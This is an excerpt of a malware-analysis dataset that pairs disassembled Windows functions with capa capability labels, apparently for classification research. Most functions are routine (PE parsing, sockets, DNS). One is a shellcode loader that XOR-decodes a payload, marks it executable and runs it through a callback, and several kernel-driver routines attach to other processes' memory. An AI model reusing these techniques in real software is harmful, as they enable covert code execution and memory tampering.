joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4d5ddc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d5e5a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d5e51
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d5e51
mov rax, qword [rbp - 8]
jmp 0x2fc4d5e6f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d5e24
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400074b4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140007313
xor ecx, ecx
call qword [0x140019118]
test rax, rax
je 0x140007313
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007313
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007313
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007313
cmp dword [rcx + 0x84], 0xe
jbe 0x140007313
cmp dword [rcx + 0xf8], 0
je 0x140007313
mov ecx, ebx
call fcn.1400073d0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400071a0
nop
cmp dword [rbp + 0x20], 0
je 0x140007361
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000736c
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400072a4
Function at 0x140001080
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x20
lea r14, [rsp + 0x28]
xor ebx, ebx
mov rsi, qword [r14]
mov rdi, rcx
mov qword [r14], rbx
cmp dword [rcx], 0x85b3e12
jne 0x1400010e8
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400010e8
mov rcx, rax
mov qword [r11 + 8], rbx
lea rdx, [r11 + 8]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400010e8
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov rcx, rax
test rax, rax
jne 0x140001108
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov ebx, 0xc0000001
mov rdi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x38]
mov qword [r14], rsi
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov rax, qword [rdi + 8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x1400010ed

Function at 0x14000111c
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
lea r14, [rsp + 0x48]
xor ebx, ebx
mov rbp, qword [r14]
mov rsi, rcx
mov qword [r14], rbx
cmp dword [rcx], 0x85b3e12
je 0x140001150
mov ebx, 0xc0000001
jmp 0x140001214
xor r8d, r8d
mov dword [rsp + 0x20], ebx
lea r9, [rsp + 0x20]
mov rdi, rbx
lea rdx, [rsp + 0x20]
lea ecx, [r8 + 0x42]
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x140001214
test rdi, rdi
je 0x140001188
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0x42
mov rdi, rax
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x140001178
test rdi, rdi
je 0x140001214
mov r9d, dword [rdi]
mov r8d, ebx
test r9d, r9d
je 0x140001209
lea rdx, [rdi + 0x18]
test byte [rdx - 8], 1
je 0x1400011f0
cmp qword [rdx], 0x200000
jne 0x1400011f0
mov ecx, dword [0x140001fc0]
mov r10b, byte [0x140001fc4]
cmp dword [rdx + 8], ecx
jne 0x1400011f0
cmp byte [rdx + 0xc], r10b
je 0x1400011fe
inc r8d
add rdx, 0x20
cmp r8d, r9d
jb 0x1400011c9
jmp 0x140001209
mov rcx, qword [rsi + 8]
mov rax, qword [rdx - 0x10]
mov qword [rcx], rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov qword [r14], rbp
mov eax, ebx
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x14000122c
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
lea r15, [rsp + 0x48]
xor edi, edi
mov rbp, qword [r15]
mov rsi, rcx
mov qword [r15], rdi
cmp dword [rcx], 0x85b3e12
jne 0x1400012e7
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400012e7
mov rcx, rax
mov qword [rsp + 0x50], rdi
lea rdx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400012e7
call fcn.140001304
mov rcx, qword [rsp + 0x50]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rsi + 8]
mov rcx, rbx
mov r14, qword [rsi + 0x18]
call fcn.1400016b8
mov r10, rax
test rax, rax
je 0x1400012e7
mov rdx, qword [rsi + 0x10]
lea r9, [rsp + 0x58]
and eax, 0xfff
mov qword [rsp + 0x58], rdi
mov ecx, 0x1000
sub ecx, eax
cmp ecx, r14d
cmovl r14d, ecx
mov rcx, r10
movsxd r8, r14d
cmp byte [rsi + 0x20], dil
je 0x1400012e0
call fcn.14000187c
jmp 0x1400012ec
call fcn.140001678
jmp 0x1400012ec
mov edi, 0xc0000001
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov qword [r15], rbp
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001304
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea r14, [rsp + 0x78]
xor ebx, ebx
mov rbp, qword [r14]
mov rsi, rcx
mov qword [r14], rbx
test rcx, rcx
je 0x1400013af
mov rdi, qword [rcx + 0x28]
test rdi, rdi
jne 0x14000134e
call fcn.1400013d8
mov ecx, eax
mov rdi, qword [rcx + rsi]
mov rax, rdi
shr rax, 0x38
cmp al, 0x40
jne 0x1400013ac
cmp byte [0x140004098], bl
jne 0x14000139d
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov rcx, rsi
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rax, cr3
lea rcx, [rsp + 0x20]
mov qword [0x140004090], rax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov byte [0x140004098], 1
mov rax, qword [0x140004090]
mov rbx, rax
test rax, rax
jne 0x1400013af
mov rbx, rdi
mov qword [r14], rbp
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001930
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov r11, rsp
sub rsp, 0xb8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov eax, dword [0x140009d10]
movaps xmm0, xmmword [str.zRg3CrochDwZDJQTFuUF2PM8ormzztxQJHfN8gt7PpF8v5Pz21XRnzZojvP9TYjcUm5eid7veQTTr7ioT4Y7xs2BABEmfiosaJUA]
movaps xmm1, xmmword [0x140009cc0]
lea r8, [0x14000c2b0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [0x140009cd0]
movaps xmmword [rsp + 0x40], xmm1
movaps xmm1, xmmword [0x140009ce0]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [0x140009cf0]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm1, xmmword [0x140009d00]
movaps xmmword [rsp + 0x70], xmm0
mov dword [r11 - 0x28], eax
movzx eax, byte [0x140009d14]
mov byte [r11 - 0x24], al
movaps xmmword [r11 - 0x38], xmm1
xor r11d, r11d
mov r10d, r11d
mov eax, r11d
nop dword [rax]
cmp rax, 0x64
lea r8, [r8 + 1]
cmove rax, r11
inc r10d
movzx ecx, byte [rsp + rax + 0x30]
inc rax
xor byte [r8 - 1], cl
movsxd rcx, r10d
cmp rcx, 0x40f84
jb 0x140001090
mov ecx, 0x5dc
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x20]
lea rcx, [0x14000c2b0]
mov edx, 0x40f84
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [0x14000c2b0]
lea r8, str.anythings
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
xor eax, eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140001140
add rsp, 0xb8
ret

Function at 0x140001d28
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140001b90
Function at 0x140008b70
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor ebx, ebx
xor edi, edi
xor r12d, r12d
cmp r8, 0x201
jae 0x140008c10
jmp 0x140008bff
jae 0x140008cd0
cmp r8, 0x201
jae 0x140008c10
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140008c68
sub r8, r12
sub rdi, r12
cmp rdi, r8
jae 0x140008c3f
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.1400208a0
mov rbx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rbx, rax
mov r12d, 0xffffffff
cmovb r12, rbx
mov qword [rbp + 0x3d8], r12
mov rdi, rbx
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140008c91
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140008d38
mov r8d, r14d
cmp r15, r8
jne 0x140008bf0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140008d65
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x140008bff
jmp 0x140008c10
cmp rsi, r8
jb 0x140008d7f
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.14000acc0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rbx, rbx
je 0x140008d21
add rbx, rbx
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rbx
call fcn.140006230
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
test rbx, rbx
jne 0x140008d09
jmp 0x140008d21
lea rcx, str.internal_error:_entered_unreachable_code_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400213d0
jmp 0x140008d94
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.140021820
ud2
Function at 0x14000abf0
Capabilities:
Send data
Send data on socket

Disassembly:
push rsi
sub rsp, 0x20
mov rax, r8
mov rsi, rcx
mov rcx, qword [rdx]
cmp r9, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, r9
mov rdx, rax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x14000ac2a
cdqe
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14000ac41
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x20
pop rsi
ret

Function at 0x14000ac50
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rsi
sub rsp, 0x20
mov rax, r8
mov rsi, rcx
mov rcx, qword [rdx]
cmp r9, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, r9
mov rdx, rax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000ac84
cdqe
jmp 0x14000ac93
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x274a
jne 0x14000ac9b
xor eax, eax
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14000acac
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x20
pop rsi
ret

Function at 0x14000f000
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140024510]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x14000f044
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000f0aa
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14000f0e1
test eax, eax
js 0x14000f0bb
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14000f0d4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.14000a410
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140006ce0
mov ecx, 7
int 0x29
ud2
Function at 0x14000f150
Capabilities:
Create udp socket

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov edi, r8d
mov rsi, rcx
cmp word [rdx], 0
mov eax, 2
mov ebx, 0x17
cmove ebx, eax
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, r8d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x14000f1a5
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x14000f241
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2726
je 0x14000f1b9
cmp eax, 0x2739
jne 0x14000f20a
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, edi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x14000f204
mov rdi, rax
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x14000f21f
mov qword [rsi + 8], rdi
mov qword [rsi], 0
jmp 0x14000f241
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x14000f241
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret

Function at 0x140011040
Capabilities:
Resolve dns

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1f0
mov rsi, rcx
mov r14, qword [rdx]
mov rbx, qword [rdx + 8]
movzx edi, word [rdx + 0x10]
mov rax, qword [0x14002d270]
cmp rax, 3
jne 0x140011136
cmp rbx, 0x17f
ja 0x140011148
lea r15, [rsp + 0x70]
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], 0
inc rbx
lea rcx, [rsp + 0x28]
mov rdx, r15
mov r8, rbx
call fcn.14001a460
cmp qword [rsp + 0x28], 0
je 0x1400110c4
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x140011159
mov rcx, qword [rsp + 0x30]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x48], 1
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x40]
lea r9, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x14001111e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
jmp 0x140011159
mov rax, qword [rsp + 0x20]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], di
xor eax, eax
mov qword [rsi], rax
jmp 0x140011159
call fcn.140020b10
cmp rbx, 0x17f
jbe 0x14001107a
mov rcx, rsi
mov rdx, r14
mov r8, rbx
mov r9d, edi
call fcn.140020bf0
mov rax, rsi
add rsp, 0x1f0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140011170
Capabilities:
Connect socket

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rbx, r8
mov rsi, rcx
test rdx, rdx
je 0x140011192
mov qword [rsi + 8], rbx
mov qword [rsi], 1
jmp 0x140011267
mov rax, qword [0x14002d270]
cmp rax, 3
jne 0x140011272
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8d, 1
call fcn.14000f150
cmp qword [rsp + 0x20], 0
mov rdi, qword [rsp + 0x28]
je 0x1400111d3
mov qword [rsi + 8], rdi
mov qword [rsi], 1
jmp 0x140011267
cmp word [rbx], 0
je 0x1400111f4
movups xmm0, xmmword [rbx + 4]
mov eax, dword [rbx + 0x14]
mov edx, dword [rbx + 0x18]
movzx ecx, word [rbx + 0x1c]
mov r8d, 0x1c
mov r9w, 0x17
jmp 0x140011209
mov eax, dword [rbx + 2]
movzx ecx, word [rbx + 6]
mov r8d, reloc.WS2_32.dll_recv
mov r9w, 2
xorps xmm0, xmm0
rol cx, 8
mov word [rsp + 0x20], r9w
mov word [rsp + 0x22], cx
mov dword [rsp + 0x24], eax
movups xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x38], edx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140011245
mov qword [rsi + 8], rdi
mov qword [rsi], 0
jmp 0x140011267
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
call fcn.140020b10
jmp 0x1400111a3
Function at 0x14001eb10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14001eb8a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14001eb80
cmp r11, r10
ja 0x14001ec21
cmp r10, rdx
ja 0x14001ec33
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14001eb82
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14001eb60
jmp 0x14001ebf7
ja 0x14001eb8a
mov r11, r10
cmp rax, r8
jne 0x14001eb32
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14001ebfb
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14001ebd0
mov r8, r10
sub ecx, r9d
jns 0x14001ebee
jmp 0x14001ebfd
cmp r10, rdx
je 0x14001ec09
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001ebfd
xor al, 1
cmp r8, rdx
jne 0x14001ebb0
jmp 0x14001ebfd
xor eax, eax
jmp 0x14001ebfd
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x140026bfb]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.1400213d0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1400218a0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140021820
int3

Function at 0x1400202c8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140020312
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140020312
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140020312
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140020312
cmp dword [rcx + 0x84], 0xe
jbe 0x140020312
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140020314
xor al, al
add rsp, 0x28
ret
Function at 0x140020bf0
Capabilities:
Resolve dns

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov ebp, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.140019370
mov rdx, qword [rsp + 0x30]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140020c89
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x140020cbb
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
jne 0x140020cd9
jmp 0x140020cea
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
test rdx, rdx
je 0x140020cea
mov rcx, qword [rsp + 0x38]
mov r8d, 1
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
jmp fcn.140006230
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bp
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
je 0x140020cea
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.140006230
nop
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
ret
Function at 0x415360
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4154eb
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [0x00753198]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432900
xorps xmm15, xmm15
mov r14, qword [0x007bc3b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x4153c5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x4153d4
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x4153f3
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x415403
cmp rbx, 0x1000
jae 0x4153cb
jmp 0x41546d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x415415
xor edx, edx
jmp 0x415464
mov rcx, qword [0x00753198]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432900
xorps xmm15, xmm15
mov r14, qword [0x007bc3b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x4153f9
jmp 0x4153e8
call fcn.00462d40
xorps xmm15, xmm15
mov r14, qword [0x007bc3b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00436d00
lea rax, [0x004d7280]
mov ebx, 0x18
nop dword [rax]
call fcn.00437580
mov rax, qword [rsp + 0x38]
